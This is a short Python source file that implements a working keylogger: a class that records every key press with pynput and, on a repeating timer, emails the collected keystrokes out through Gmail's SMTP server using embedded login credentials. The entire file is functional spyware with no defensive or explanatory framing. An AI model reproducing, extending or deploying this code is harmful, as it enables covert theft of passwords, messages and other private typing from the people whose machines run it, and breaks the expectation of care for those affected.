import pynput.keyboard
import threading 
import smtplib



class Keylogger:
    def __init__(self, time_interval, email, password):
        self.log = "key logger started"
        self.interval = time_interval
        self.email = email
        self.password = password

    def append_to_log(self,string):
        self.log = self.log + string

    def process_key_press(self, key):
        
        try:
            current_key = str(key.char)

        except AttributeError:
            if key == key.space:
                current_key = " "
            else:
                current_key = " " +str(key)+" "
        self.append_to_log(current_key)

    def report(self):
        
        self.send_mail(self.email, self.password, self.log)
        self.log = ""
        timer = threading.Timer(self.interval, self.report) 
        timer.start()

    def send_mail(self,email,password, message):
        server = smtplib.SMTP("smtp.gmail.com",587) 
        server.starttls()
        server.login(email,password)
        server.sendmail(email, email, message)
        server.quit()


    def start(self):
        keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
        with keyboard_listener:
            self.report()
            keyboard_listener.join()